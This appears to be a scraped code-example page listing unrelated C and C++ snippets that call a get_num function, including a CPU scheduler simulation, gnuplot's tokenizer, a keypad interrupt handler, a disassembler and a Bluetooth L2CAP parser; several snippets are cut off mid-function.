                    //Preempt the process since there are processes in Q1
                    printf("PREMETING PROCESS IN Q2 FOR ONE IN Q1\n");
                    fprintf(out_file, "Time: %-5d\tProcess#%d moved back into Q2 because there are processes in Q1 that need to be run\n", cpu->time, cpu->current_process->id);
                    Process* end_q2 = get_end(cpu->Q2);
                    cpu->current_process->state = 2;
                    if (end_q2 != NULL) {
                        end_q2->next = cpu->current_process;
                    } else {
                        cpu->Q2->processes = cpu->current_process;
                        cpu->Q2->isEmpty = 0;
                    }
                    
                    cpu->current_process = NULL;
                    cpu->idle = 1;
                    cpu->queue = 0;
                    printQueues(out_file, cpu);
                } else {
                    printf("NOTHING MOVED OFF CPU FROM Q2\n");
                }
            }

            //If the cpu is running in Q1
            //If the current process time on cpu > TQ1
            //Move the process to Q2 and set cpu to idle
            if (cpu->queue == 1) {
                printf("CPU is in Q1\n");
                if (get_next_incomplete_burst(cpu->current_process) != NULL && get_next_incomplete_burst(cpu->current_process)->time_active > cpu->TQ1) {
                    //Time ran out for the process move it to Q2
                    printf("TIME RAN OUT FOR PROCESS IN Q1\n");
                    fprintf(out_file, "Time: %-5d\tProcess#%d moved to Q2 because it could not complete within the Time Quantum of Q1\n", cpu->time, cpu->current_process->id);
                    Process* end_q2 = get_end(cpu->Q2);
                    get_next_incomplete_burst(cpu->current_process)->time_active = 0;
                    cpu->current_process->state = 2;
                    if (end_q2 != NULL) {
                        end_q2->next = cpu->current_process;
                    } else {
                        cpu->Q2->processes = cpu->current_process;
                        cpu->Q2->isEmpty = 0;
                    }
                    
                    cpu->current_process = NULL;
                    cpu->idle = 1;
                    cpu->queue = 0;
                    printQueues(out_file, cpu);
                } else {
                    printf("NOTHING REMOVED FOR TIME FROM Q1\n");
                }
            }

            //If Q1 has stuff in it and the cpu is free
            //Put the first thing from Q1 onto the cpu
            if (cpu->Q1->processes != NULL && cpu->idle == 1) {
                printf("Q1 not empty and CPU idle\n");
                Process* q1_popped = cpu->Q1->processes;
                fprintf(out_file, "Time: %-5d\tMoving Process#%d from Q1 onto the CPU\n", cpu->time, q1_popped->id);
                cpu->Q1->processes = q1_popped->next;
                q1_popped->next = NULL;
                if (cpu->Q1->processes == NULL) {
                    cpu->Q1->isEmpty = 1;
                }
                cpu->current_process = q1_popped;
                cpu->queue = 1;
                cpu->idle = 0;
                q1_popped->state = 1;
                printQueues(out_file, cpu);
            }//Else If Q2 has stuff in it and the cpu is free
                //Put the first thing from Q2 onto the cpu
            else if (cpu->Q2->processes != NULL && cpu->idle == 1) {
                printf("Q2 not empty and CPU idle\n");
                Process* q2_popped = cpu->Q2->processes;
                fprintf(out_file, "Time: %-5d\tMoving Process#%d from Q2 onto the CPU\n", cpu->time, q2_popped->id);
                cpu->Q2->processes = q2_popped->next;
                q2_popped->next = NULL;
                if (cpu->Q2->processes == NULL) {
                    cpu->Q2->isEmpty = 1;
                }
                cpu->current_process = q2_popped;
                cpu->queue = 2;
                cpu->idle = 0;
                q2_popped->state = 1;
                printQueues(out_file, cpu);
            }//Else If Q3 has stuff in it and the cpu is free
                //Put the lowest time remaining onto the cpu
            else if (cpu->Q3->processes != NULL && cpu->idle == 1) {
                printf("Q3 not empty and CPU idle\n");
                //FIX THIS
                //Process* shortest = get_shortest_remaining(cpu->Q3);
                Process* shortest = cpu->Q3->processes;
                cpu->Q3->processes = shortest->next;
                fprintf(out_file, "Time: %-5d\tMoving Process#%d from Q3 onto the CPU\n", cpu->time, shortest->id);
                cpu->current_process = shortest;
                cpu->queue = 3;
                cpu->idle = 0;
                shortest->state = 1;
                if (cpu->Q3->processes == NULL) {
                    cpu->Q3->isEmpty = 1;
                }
                printQueues(out_file, cpu);
            }

            cpu->time++;
            printf("TIME: %d\n", cpu->time);
        }

        //Write final average data to the output file
        //Average waiting time
        //Average turnaround time
        int waiting_sum = 0;
        int total_sum = 0;
        Process* itr = completed->processes;
        while (itr != NULL) {
            waiting_sum += itr->waiting_cpu;
            total_sum += (itr->completion_t - itr->arrival_time);
            itr = itr->next;
        }
        fprintf(out_file, "\n\nAverage waiting time: %d\nAverage turnaround time: %d\n", waiting_sum / processCompleted, total_sum / processCompleted);

        fprintf(out_file, "\n\n############################################################\n");
        fprintf(out_file, "Logging for Multi-Level Queue Scheduling Simulation Ended!\n");
        fprintf(out_file, "############################################################\n");
        fclose(out_file);
    }
    return (EXIT_SUCCESS);
}
Beispiel #15
0
void	parse_args_bis(int *i, int argc, int *dump, char **argv)
{
	if (++(*i) == argc)
		exit(write(2, "Bad params\n", ft_strlen("Bad params\n")));
	*dump = get_num(argv[*i], 0);
}
Beispiel #16
0
/*
 * scanner() breaks expression[] into lexical units, storing them in token[].
 *   The total number of tokens found is returned as the function
 *   value.  Scanning will stop when '\0' is found in expression[], or
 *   when token[] is full.  extend_input_line() is called to extend
 *   expression array if needed.
 *
 *       Scanning is performed by following rules:
 *
 *      Current char    token should contain
 *     -------------    -----------------------
 *      1.  alpha,_     all following alpha-numerics
 *      2.  digit       0 or more following digits, 0 or 1 decimal point,
 *                              0 or more digits, 0 or 1 'e' or 'E',
 *                              0 or more digits.
 *      3.  ^,+,-,/     only current char
 *          %,~,(,)
 *          [,],;,:,
 *          ?,comma
 *          $           for using patch (div)
 *      4.  &,|,=,*     current char; also next if next is same
 *      5.  !,<,>       current char; also next if next is =
 *      6.  ", '        all chars up until matching quote
 *      7.  #           this token cuts off scanning of the line (DFK).
 *      8.  `           (command substitution: all characters through the
 *                      matching backtic are replaced by the output of
 *                      the contained command, then scanning is restarted.)
 * EAM Jan 2010:	Bugfix. No rule covered an initial period. This caused
 *			string concatenation to fail for variables whose first
 *			character is 'E' or 'e'.  Now we add a 9th rule:
 *	9.  .		A period may be a token by itself (string concatenation)
 *			or the start of a decimal number continuing with a digit
 *
 *                      white space between tokens is ignored
 */
int
scanner(char **expressionp, size_t *expressionlenp)
{
    int current;	/* index of current char in expression[] */
    char *expression = *expressionp;
    int quote;
    char brace;

    for (current = t_num = 0; expression[current] != NUL; current++) {
	if (t_num + 1 >= token_table_size) {
	    /* leave space for dummy end token */
	    extend_token_table();
	}
	if (isspace((unsigned char) expression[current]))
	    continue;		/* skip the whitespace */
	token[t_num].start_index = current;
	token[t_num].length = 1;
	token[t_num].is_token = TRUE;	/* to start with... */

	if (expression[current] == '`') {
	    substitute(expressionp, expressionlenp, current);
	    expression = *expressionp;	/* expression might have moved */
	    current--;
	    continue;
	}
	/* allow _ to be the first character of an identifier */
	if (isalpha((unsigned char) expression[current])
	    || expression[current] == '_') {
	    SCAN_IDENTIFIER;
	} else if (isdigit((unsigned char) expression[current])) {
	    token[t_num].is_token = FALSE;
	    token[t_num].length = get_num(&expression[current]);
	    current += (token[t_num].length - 1);

	} else if (expression[current] == '.') {
	    /* Rule 9 */
	    if (isdigit(expression[current+1])) {
		token[t_num].is_token = FALSE;
		token[t_num].length = get_num(&expression[current]);
		current += (token[t_num].length - 1);
	    } /* do nothing if the . is a token by itself */

	} else if (expression[current] == LBRACE) {
	    token[t_num].is_token = FALSE;
	    token[t_num].l_val.type = CMPLX;
#ifdef __PUREC__
	    {
		char l[80];
		if ((sscanf(&expression[++current], "%lf,%lf%[ }]s",
			    &token[t_num].l_val.v.cmplx_val.real,
			    &token[t_num].l_val.v.cmplx_val.imag,
			    &l) != 3) || (!strchr(l, RBRACE)))
		    int_error(t_num, "invalid complex constant");
	    }
#else
	    if ((sscanf(&expression[++current], "%lf , %lf %c",
			&token[t_num].l_val.v.cmplx_val.real,
			&token[t_num].l_val.v.cmplx_val.imag,
			&brace) != 3) || (brace != RBRACE))
		int_error(t_num, "invalid complex constant");
#endif
	    token[t_num].length += 2;
	    while (expression[++current] != RBRACE) {
		token[t_num].length++;
		if (expression[current] == NUL)		/* { for vi % */
		    int_error(t_num, "no matching '}'");
	    }
	} else if (expression[current] == '\'' ||
		   expression[current] == '\"') {
	    token[t_num].length++;
	    quote = expression[current];
	    while (expression[++current] != quote) {
		if (!expression[current]) {
		    expression[current] = quote;
		    expression[current + 1] = NUL;
		    break;
		} else if (quote == '\"'
                           && expression[current] == '\\'
			   && expression[current + 1]) {
		    current++;
		    token[t_num].length += 2;
		} else if (quote == '\"' && expression[current] == '`') {
		    substitute(expressionp, expressionlenp, current);
		    expression = *expressionp;	/* it might have moved */
		    current--;
                } else if (quote == '\'' 
                           && expression[current+1] == '\''
                           && expression[current+2] == '\'') {
                    /* look ahead: two subsequent single quotes 
                     * -> take them in
                     */
                    current += 2;
                    token[t_num].length += 3;
		} else
		    token[t_num].length++;
	    }
	} else
	    switch (expression[current]) {
	    case '#':		/* DFK: add comments to gnuplot */
		goto endline;	/* ignore the rest of the line */
	    case '^':
	    case '+':
	    case '-':
	    case '/':
	    case '%':
	    case '~':
	    case '(':
	    case ')':
	    case '[':
	    case ']':
	    case ';':
	    case ':':
	    case '?':
	    case ',':
	    case '$':		/* div */
		break;
	    case '&':
	    case '|':
	    case '=':
	    case '*':
		if (expression[current] == expression[current + 1])
		    APPEND_TOKEN;
		break;
	    case '!':
	    case '<':
	    case '>':
		if (expression[current + 1] == '=')
		    APPEND_TOKEN;
		break;
	    default:
		int_error(t_num, "invalid character %c",expression[current]);
	    }
	++t_num;		/* next token if not white space */
    }

  endline:			/* comments jump here to ignore line */

/* Now kludge an extra token which points to '\0' at end of expression[].
   This is useful so printerror() looks nice even if we've fallen off the
   line. */

    token[t_num].start_index = current;
    token[t_num].length = 0;
    /* print 3+4  then print 3+  is accepted without
     * this, since string is ignored if it is not
     * a token
     */
    token[t_num].is_token = TRUE;
    return (t_num);
}
Beispiel #17
0
void CN_int()
{
	static unsigned int typed; // typed number
	static unsigned int password;
	static unsigned char mode; // setting alarm / time / date / password, or unlocking (0)
	static unsigned char i_type; // typed digit counter

	unsigned short row, column; // 4 means CN CN11 or RB14;
	int readG = (PORTG & 0x3C0) >> 6;
	if (readG > 7) // hit on control button
		key_E = 1;
	if (key_E) // to skip nonsense hits
	{
		switch (readG)
		{
		case 8:
			column = 4;
			break;
		case 4:
			column = 3;
			break;
		case 2:
			column = 2;
			break;
		case 1:
			column = 1;
			break;
		default:
			column = 0; // error (multi-key)
		}

		int i;
		for (i = 0; i < 4; i++)
		{
			PORTBSET = 0x7800;
			PORTBCLR = 1 << i + 11;
			if (!PORTG & readG << 6)
				row = i + 1;
		} // multi-key: the lowest key
		PORTBCLR = 0x7800;

		switch ((row << 4) + column)
		{
		case 0x14:
			typed = 0;
			mode = 1;
			i_type = 0;
			break;
		case 0x24:
			typed = 0;
			mode = 2;
			i_type = 0;
			break;
		case 0x34:
			typed = 0;
			mode = 3;
			i_type = 0;
			break;
		case 0x44:
			typed = 0;
			mode = 4;
			i_type = 0;
			break;
		default: // pure number input
			int tpnumber = get_num(row, column);
			if (tpnumber >= 0) // skip the two blank button
			{
				typed = typed * 10 + tpnumber;
				i_type++;

				switch ((i_type << 4) + mode)
				{
				case 0x61: // alarm setting finish
				case 0x62: // time setting finish
					unsigned short t_s, t_m, t_h;
					t_s = typed % 100;
					t_m = typed / 100 % 100;
					t_h = typed / 10000;
					if (t_s < 60 && t_m < 60 && t_h < 24)
					{
						Second[0] = t_s % 10;
						Second[1] = t_s / 10;
						Minute[0] = t_m % 10;
						Minute[1] = t_m / 10;
						Hour[0] = t_h % 10;
						Hour[1] = t_h / 10;
					}
					key_E = 0;
					break;
				case 0x83: // date setting finish
					unsigned short t_y, t_mon, t_d;
					t_d = typed % 100;
					t_mon = typed / 100 % 100;
					t_y = typed / 10000;
					// leap year???
				case 0x64: // password setting finish
					password = typed;
					key_E = 0;
					break;
				case 0x60: // password hitting finish
					key_F = typed == password;
					key_E = 0;
				}
			}
		}
	}
	// other instructions
	PORTDINV = 4; // button pressing indicator
	IFS1bits.CNIF = 0;
}
Beispiel #18
0
int main(int argc, char* argv[]){
	FILE* pfo;
	FILE* pfi;
	int nCnt, address;
	int shift_bit = 1;
	int shift_cnt = 0;

	char* s;
	char  str[100];

	char  buf[BUF_SIZE];
	char  c;

	strcpy(input_file, default_input_file);
	strcpy(output_file, default_output_file);

	//コマンドライン入力を解析
	for(nCnt = 1 ; nCnt < argc ; nCnt++){
		s = argv[nCnt];
		if(*s++ == '-'){
			c = *s;
			while(*s != 0){
				if(*s == ':')
					break;
				s++;
			}
			if(*s++ == ':'){
				switch(c){
				//output file name
				case 'O':		
				case 'o':
					strcpy(output_file, s);
					break;
				//input file name
				case 'R':
				case 'r':
					strcpy(input_file, s);
					break;
				default:
					printf("tlcs900offset -R:input_file -O:output_file\n");
					break;
				}
			}
		}
	}
	//input, outputファイル名の標準出力
	printf("input file   = %s\n", input_file);
	printf("output file  = %s\n", output_file);

	if((pfi = fopen(input_file, "r")) == NULL){
		fprintf(stderr, "can't open input file!");
		exit(1);
	}
	if((pfo = fopen(output_file, "w")) == NULL){
		fclose(pfi);
		fprintf(stderr, "can't open output file!");
		exit(1);
	}

	//inputファイルの取り込み
	for(;;){
		if((fgets(buf, BUF_SIZE, pfi)) == NULL)
			break;
		s = buf;
		switch(offset_state){
		//; BEGIN TCB_texptnの範囲の解析
		case TEXPTN_STATE:
			if(test_string(&s, "; END")){
				offset_state = NORMAL_STATE;
				continue;
			}

			if(test_string(&s, "line") || test_string(&s, "call"))
				continue;

			if(skip_char(&s, 'x')){
				continue;
			}

			get_num(s);
			address = atoh(s);
			printf("TCB_texptn\tequ\t%d\n",address);
			fputs("TCB_texptn\t\tequ\t", pfo);
			sprintf(str,"%d",address);
			fputs(str, pfo);
			fputs(lf, pfo);
			break;

		case SP_STATE:
		//; BEGIN TCB_spの範囲の解析
			if(test_string(&s, "; END")){
				offset_state = NORMAL_STATE;
				continue;
			}

			if(test_string(&s, "line") || test_string(&s, "call") )
				continue;

			if(skip_space(&s))
				continue;

			if(skip_char(&s, '(')){
				continue;
			}

			if(skip_char(&s, 'x')){
				continue;
			}

			get_num(s);
			address = atoh(s);
			printf("TCB_sp\t\tequ\t%d\n",address);
			fputs("TCB_sp\t\t\tequ\t", pfo);
			sprintf(str,"%d",address);
			fputs(str, pfo);
			fputs(lf, pfo);

			break;

		case PC_STATE:
		//; BEGIN TCB_pcの範囲の解析
			if(test_string(&s, "; END")){
				offset_state = NORMAL_STATE;
				continue;
			}

			if(test_string(&s, "line") || test_string(&s, "call"))
				continue;

			if(skip_char(&s, 'x')){
				continue;
			}
			get_num(s);
			address = atoh(s);
			printf("TCB_pc\tequ\t%d\n",address);
			fputs("TCB_pc\t\t\tequ\t", pfo);
			sprintf(str,"%d",address);
			fputs(str, pfo);
			fputs(lf, pfo);
			break;

		case ENATEX_STATE:
		//; BEGIN TCB_pcの範囲の解析
			if(test_string(&s, "; END")){
				offset_state = NORMAL_STATE;
				continue;
			}

			if(test_string(&s, "line") || test_string(&s, "call"))
				continue;

			if(skip_char(&s, 'x')){
				continue;
			}
			get_num(s);
			address = atoh(s);
			printf("TCB_enatex\tequ\t%d\n",address);
			fputs("TCB_enatex\t\tequ\t", pfo);
			sprintf(str,"%d",address);
			fputs(str, pfo);
			fputs(lf, pfo);
			get_num_undo(s);
			if(skip_char(&s, ',')){
				continue;
			}

			*(s + BIT_SIZE) = '\0';
			printf("TCB_enatex_mask\tequ\t%s\n",s);
			fputs("TCB_enatex_mask\tequ\t", pfo);
			fputs(s, pfo);
			fputs(lf, pfo);

			if(skip_char(&s, 'x')){
				continue;
			}

			address = atoh(s);

			for(shift_cnt=0;shift_cnt<=16;shift_cnt++){
				if(address == shift_bit){
					printf("TCB_enatex_bit\tequ\t%d\n",shift_cnt);
					fputs("TCB_enatex_bit\tequ\t", pfo);
					sprintf(str,"%d",shift_cnt);
					fputs(str, pfo);
					fputs(lf, pfo);
				}
				shift_bit<<=1;
			}

			break;

		default:
			if(test_string(&s, "; BEGIN TCB_texptn")){
				offset_state = TEXPTN_STATE;
				continue;
			}else if(test_string(&s, "; BEGIN TCB_sp")){
				offset_state = SP_STATE;
				continue;
			}else if(test_string(&s, "; BEGIN TCB_pc")){
				offset_state = PC_STATE;
				continue;
			}else if(test_string(&s, "; BEGIN TCB_enatex")){
				offset_state = ENATEX_STATE;
				continue;
			}

			break;
		}
	}
	return 0;
}
Beispiel #19
0
void IntelDisassembler::handle_stmt(IntelSyntaxDisStmt &stmt)
{
	if(stmt.ident == symbol_write)
	{
		write(unquotify(stmt.args[0]).c_str());
	}
	else
	if(stmt.ident == symbol_space)
	{
		space();
	}
	else
	if(stmt.ident == symbol_maybe_write_space_args_imm32)
	{
		if(icode->imm != get_num(stmt.args[0]))
		{
			space();
			write_args();
		}
	}
	else
	if(stmt.ident == symbol_write_args)
	{
		write_args();
	}
	else
	if(stmt.ident == symbol_write_arg)
	{
		if(stmt.args.size() == 1)
			write_arg(get_num(stmt.args[0]));
		else
		if(stmt.args.size() == 2)
			write_arg(get_num(stmt.args[0]), get_num(stmt.args[1]));
		else
		if(stmt.args.size() == 3)
			write_arg(get_num(stmt.args[0]), get_num(stmt.args[1]), get_num(stmt.args[2]));
		else
		if(stmt.args.size() == 4)
			write_arg(get_num(stmt.args[0]), get_num(stmt.args[1]), get_num(stmt.args[2]), get_num(stmt.args[3]));
	}
	else
	if(stmt.ident == symbol_write_rep)
	{
		if(icode->lockrep == 2 || icode->lockrep == 3)
			write("rep ");
	}
	else
	if(stmt.ident == symbol_write_repcc)
	{
		if(icode->lockrep == 2)
			write("repnz ");
		else
		if(icode->lockrep == 3)
			write("repz ");
	}
	else
	if(stmt.ident == symbol_write_size_suffix_argsize)
	{
		write_size_suffix(icode->argsize[get_num(stmt.args[0])]);
	}
	else
	if(stmt.ident == symbol_write_size_suffix_osz)
	{
		write_size_suffix(2 << icode->osz);
	}
	else
	if(stmt.ident == symbol_write_seg_reg)
	{
		if(icode->ea.sreg <= 5)
		{
			do_write_seg_reg(icode->ea.sreg);
			write(" ");
		}
	}
	else
	if(stmt.ident == symbol_comma)
	{
		comma();
	}
	else
	if(stmt.ident == symbol_write_osz64)
	{
		write(unquotify(stmt.args[(icode->osz == 2) ? 0 : 1]).c_str());
	}
	else
	if(stmt.ident == symbol_write_stack_o16_o32_o64)
	{
		if(dsz == 2)
		{
			// 64bit mode.
			if(icode->osz == 0)
				write("o16 ");
		}
		else
		if(dsz != icode->osz)
		{
			write_o16_o32_o64();
		}
	}
	else
	if(stmt.ident == symbol_do_nop_xchg)
	{
		// do_nop_xchg("nop", "xchg", 1) means: argvalue(1) is 0, nop else do xchg
		int a = get_num(stmt.args[2]);
		if(icode->argvalue[a] == 0 && state->opcode0 == 0x90 && icode->argtype[0] == IntelArgTypes::Treg_gr)
			write(unquotify(stmt.args[0]).c_str());
		else
		{
			write(unquotify(stmt.args[1]).c_str());
			space();
			write_args();
		}
	}
	else
	if(stmt.ident == symbol_write_xlat_o16_o32_o64)
	{
		if(dsz == 2)
		{
			// 64bit mode.
			if(icode->osz != 1)
				write_o16_o32_o64();
		}
		else
		if(dsz != icode->osz)
		{
			write_o16_o32_o64();
		}
	}
	else
	if(stmt.ident == symbol_write_osz)
	{
		// if osz == 0, write 1st argument.
		// if osz == 1, write 2nd argument.
		// if osz == 2, write 3rd argument.
		write(unquotify(stmt.args[icode->osz]).c_str());
	}
	else
	if(stmt.ident == symbol_write_asz)
	{
		// if asz == 0, write 1st argument.
		// if asz == 1, write 2nd argument.
		// if asz == 2, write 3rd argument.
		write(unquotify(stmt.args[icode->asz]).c_str());
	}
	else
	if(stmt.ident == symbol_write_far_imm)
	{
		write_far_imm();
	}
	else
	if(stmt.ident == symbol_write_jrcxz_o16_o32_o64)
	{
		if(dsz != 2)
		{
			if(icode->osz != dsz)
				write_o16_o32_o64();
		}
	}
	else
	{
		write("<unimpl-stmt>");
	}
}
int main(){
    cout<<get_num(4)<<endl;
    return 0;
}
Beispiel #21
0
double get_double(value x)
	{
	return *get_num(x);
	}
Beispiel #22
0
static void l2cap_parse(int level, struct frame *frm)
{
	l2cap_hdr *hdr = (void *)frm->ptr;
	uint16_t dlen = btohs(hdr->len);
	uint16_t cid  = btohs(hdr->cid);
	uint16_t psm;

	frm->ptr += L2CAP_HDR_SIZE;
	frm->len -= L2CAP_HDR_SIZE;

	if (cid == 0x1) {
		/* Signaling channel */

		while (frm->len >= L2CAP_CMD_HDR_SIZE) {
			l2cap_cmd_hdr *hdr = frm->ptr;

			frm->ptr += L2CAP_CMD_HDR_SIZE;
			frm->len -= L2CAP_CMD_HDR_SIZE;

			if (!p_filter(FILT_L2CAP)) {
				p_indent(level, frm);
				printf("L2CAP(s): ");
			}

			switch (hdr->code) {
			case L2CAP_COMMAND_REJ:
				command_rej(level, frm);
				break;
			
			case L2CAP_CONN_REQ:
				conn_req(level, frm);
				break;
	
			case L2CAP_CONN_RSP:
				conn_rsp(level, frm);
				break;

			case L2CAP_CONF_REQ:
				conf_req(level, hdr, frm);
				break;

			case L2CAP_CONF_RSP:
				conf_rsp(level, hdr, frm);
				break;

			case L2CAP_DISCONN_REQ:
				disconn_req(level, frm);
				break;

			case L2CAP_DISCONN_RSP:
				disconn_rsp(level, frm);
				break;
	
			case L2CAP_ECHO_REQ:
				echo_req(level, hdr, frm);
				break;

			case L2CAP_ECHO_RSP:
				echo_rsp(level, hdr, frm);
				break;

			case L2CAP_INFO_REQ:
				info_req(level, hdr, frm);
				break;

			case L2CAP_INFO_RSP:
				info_rsp(level, hdr, frm);
				break;

			default:
				if (p_filter(FILT_L2CAP))
					break;
				printf("code 0x%2.2x ident %d len %d\n", 
					hdr->code, hdr->ident, btohs(hdr->len));
				raw_dump(level, frm);
			}

			if (frm->len > btohs(hdr->len)) {
				frm->len -= btohs(hdr->len);
				frm->ptr += btohs(hdr->len);
			} else
				frm->len = 0;
		}
	} else if (cid == 0x2) {
		/* Connectionless channel */

		if (p_filter(FILT_L2CAP))
			return;

		psm = btohs(bt_get_unaligned((uint16_t *) frm->ptr));
		frm->ptr += 2;
		frm->len -= 2;

		p_indent(level, frm);
		printf("L2CAP(c): len %d psm %d\n", dlen, psm);
		raw_dump(level, frm);
	} else {
		/* Connection oriented channel */

		uint8_t mode = get_mode(!frm->in, cid);
		uint16_t psm = get_psm(!frm->in, cid);
		uint16_t ctrl = 0, fcs = 0;
		uint32_t proto;

		frm->cid = cid;
		frm->num = get_num(!frm->in, cid);

		if (mode > 0) {
			ctrl = btohs(bt_get_unaligned((uint16_t *) frm->ptr));
			frm->ptr += 2;
			frm->len -= 4;
			fcs = btohs(bt_get_unaligned((uint16_t *) (frm->ptr + frm->len)));
		}

		if (!p_filter(FILT_L2CAP)) {
			p_indent(level, frm);
			printf("L2CAP(d): cid 0x%4.4x len %d", cid, dlen);
			if (mode > 0)
				printf(" ctrl 0x%4.4x fcs 0x%4.4x", ctrl, fcs);
			printf(" [psm %d]\n", psm);
			level++;
			if (mode > 0) {
				p_indent(level, frm);
				printf("%s:", ctrl & 0x01 ? "S-frame" : "I-frame");
				if (ctrl & 0x01) {
					printf(" %s", supervisory2str((ctrl & 0x0c) >> 2));
				} else {
Beispiel #23
0
int
gen_setup()
{
	extern char *v_yes[];
	WINDOW *g_win, *newwin();
	int i, num, ret_code;
	char c, *ans, *str_prompt(), *menu_prompt(), chr_prompt();
	char *str_rep();
	void line_set();
	static char *v_abort[3] = {"KEEP", "DELETE", NULL};

	g_win = newwin(23, 80, 0, 0);

	horizontal(g_win, 0, 0, 32);
	mvwattrstr(g_win, 0, 33, A_BOLD, "General Setup");
	horizontal(g_win, 0, 47, 32);
	mvwprintw(g_win, 3, 22, "1) Default log file ....... %s", param->logfile);
	mvwprintw(g_win, 4, 22, "2) Screen dump file ....... %s", param->dumpfile);
	mvwprintw(g_win, 6, 22, "3) Strip high bit  ........ %s", param->strip);
	mvwprintw(g_win, 8, 22, "4) Pause character ........ %c", param->pause_char);
	mvwprintw(g_win, 9, 22, "5) CR character ........... %c", param->cr_char);
	mvwprintw(g_win, 10, 22, "6) CTRL character ......... %c", param->ctrl_char);
	mvwprintw(g_win, 11, 22, "7) ESC character .......... %c", param->esc_char);
	mvwprintw(g_win, 12, 22, "8) Break character ........ %c", param->brk_char);
	mvwprintw(g_win, 14, 22, "9) Aborted downloads ...... %s", param->abort);
	mvwprintw(g_win, 16, 21, "10) Connect delay (sec) .... %d", param->c_delay);
	mvwprintw(g_win, 17, 21, "11) Redial delay (sec) ..... %d", param->r_delay);
	horizontal(g_win, 19, 0, 80);
	mvwattrstr(g_win, 20, 0, A_BOLD, "OPTION ==> ");
	mvwaddstr(g_win, 20, 58, "Press <ESC> to return");
	wmove(g_win, 20, 12);
	touchwin(g_win);
	wrefresh(g_win);
					/* get the option number */
	ret_code = 0;
	while ((i = get_num(g_win, 2)) != -1) {
		switch (i) {
			case 1:
				if ((ans = str_prompt(g_win, 3, 50, "Default log file", "")) != NULL) {
					param->logfile = str_rep(param->logfile, ans);
					ret_code++;
				}
				break;
			case 2:
				if ((ans = str_prompt(g_win, 4, 50, "Default screen dump file", "")) != NULL) {
					param->dumpfile = str_rep(param->dumpfile, ans);
					ret_code++;
				}
				break;
			case 3:
				if ((ans = menu_prompt(g_win, 6, 50, "Strip high bit?", v_yes)) != NULL) {
					param->strip = str_rep(param->strip, ans);
					line_set();
					ret_code++;
				}
				break;
			case 4:
				if ((c = chr_prompt(g_win, 8, 50, "Pause character", "1 second")) != '\0') {
					param->pause_char = c;
					ret_code++;
				}
				break;
			case 5:
				if ((c = chr_prompt(g_win, 9, 50, "CR character", "(carriage return)")) != '\0') {
					param->cr_char = c;
					ret_code++;
				}
				break;
			case 6:
				if ((c = chr_prompt(g_win, 10, 50, "CTRL character", "(control)")) != '\0') {
					param->ctrl_char = c;
					ret_code++;
				}
				break;
			case 7:
				if ((c = chr_prompt(g_win, 11, 50, "ESC character", "(escape)")) != '\0') {
					param->esc_char = c;
					ret_code++;
				}
				break;
			case 8:
				if ((c = chr_prompt(g_win, 12, 50, "Break character", "")) != '\0') {
					param->brk_char = c;
					ret_code++;
				}
			case 9:
				if ((ans = menu_prompt(g_win, 14, 50, "Aborted downloads", v_abort)) != NULL) {
					param->abort = str_rep(param->abort, ans);
					ret_code++;
				}
				break;
			case 10:
				if ((num = num_prompt(g_win, 16, 50, "Connect delay time", "(in seconds)")) != -1) {
					if (num > MAX_CDELAY || num < MIN_CDELAY) {
						beep();
					/* some reasonable range of values */
						if (num < MIN_CDELAY)
							num = MIN_CDELAY;
						else
							num = MAX_CDELAY;
						mvwaddstr(g_win, 16, 50, "   ");
						wrefresh(g_win);
						mvwattrnum(g_win, 16, 50, A_BOLD, num);
						wrefresh(g_win);
					}
					param->c_delay = num;
					ret_code++;
				}
				break;
			case 11:
				if ((num = num_prompt(g_win, 17, 50, "Redial delay time", "(in seconds)")) != -1) {
					if (num > MAX_PAUSE || num < MIN_PAUSE) {
						beep();
					/* some reasonable range */
						if (num < MIN_PAUSE)
							num = MIN_PAUSE;
						else
							num = MAX_PAUSE;
						mvwaddstr(g_win, 17, 50, "    ");
						wrefresh(g_win);
						mvwattrnum(g_win, 17, 50, A_BOLD, num);
						wrefresh(g_win);
					}
					param->r_delay = num;
					ret_code++;
				}
				break;
			default:
				beep();
		}
		mvwaddstr(g_win, 20, 12, "  ");
		clear_line(g_win, 21, 0, FALSE);
		clear_line(g_win, 22, 0, FALSE);
		wmove(g_win, 20, 12);
		wrefresh(g_win);
	}
	delwin(g_win);
	return(ret_code);
}
Beispiel #24
0
int
tty_setup()
{
	WINDOW *tt_win, *newwin();
	char message[80], *str, *get_str();
	int num, i, j, ret_code;
	void disp_tty(), create_modem(), del_modem(), error_win();
	void del_tty();

	tt_win = newwin(23, 80, 0, 0);

	horizontal(tt_win, 0, 0, 34);
	mvwattrstr(tt_win, 0, 35, A_BOLD, "TTY Setup");
	horizontal(tt_win, 0, 45, 34);
	mvwaddstr(tt_win, 2, 22, "TTY name");
	mvwaddstr(tt_win, 2, 37, "Modem name");
	mvwaddstr(tt_win, 2, 51, "Init speed");
					/* display the current TTY list */
	disp_tty(tt_win);
					/* prompt for options */
	mvwaddstr(tt_win, 15, 20, "A) Add a TTY entry");
	mvwaddstr(tt_win, 16, 20, "D) Delete a TTY entry");
	horizontal(tt_win, 19, 0, 80);
	mvwattrstr(tt_win, 20, 0, A_BOLD, "OPTION ==> ");
	mvwaddstr(tt_win, 20, 58, "Press <ESC> to return");
	wmove(tt_win, 20, 12);
	touchwin(tt_win);
	wrefresh(tt_win);
					/* get the option */
	ret_code = 0;
	while ((str = get_str(tt_win, 2, "01234356789AaDd", "")) != NULL) {
		switch(*str) {
			case '0':
			case '1':
			case '2':
			case '3':
			case '4':
			case '5':
			case '6':
			case '7':
			case '8':
			case '9':
				i = atoi(str);
					/* if beyond t_entries */
				if (i > modem->t_entries) {
					beep();
					break;
				}

					/* change the entry  */
				if (tty_prompt(tt_win, i-1)) {

					/* requires modem update? */
					create_modem(modem->tname[i-1]);
					del_modem();
					ret_code++;
				}
				break;
			case 'a':
			case 'A':	/* add an entry */
				if (modem->t_entries == NUM_TTY) {
					sprintf(message, "\"%s\"", modem->m_path);
					error_win(0, "No empty TTY slots in modem/TTY database", message);
					break;
				}
					/* prompt for info */
				j = modem->t_entries;
				if (tty_prompt(tt_win, j)) {

					/* add modem entry? */
					modem->t_entries++;
					create_modem(modem->tname[j]);
					ret_code++;
				}
				break;
			case 'd':
			case 'D':	/* delete an entry */
				mvwaddstr(tt_win, 21, 0, "Entry number to delete: ");
				wrefresh(tt_win);
				while ((num = get_num(tt_win, 4)) != -1) {
					/* valid range */
					if (!num || num>modem->t_entries) {
						beep();
						mvwaddstr(tt_win, 21, 24, "   ");
						wmove(tt_win, 21, 24);
						wrefresh(tt_win);
						continue;
					}
					del_tty(num-1);
					del_modem();

					/* show the new list */
					disp_tty(tt_win);
					ret_code++;
					break;
				}
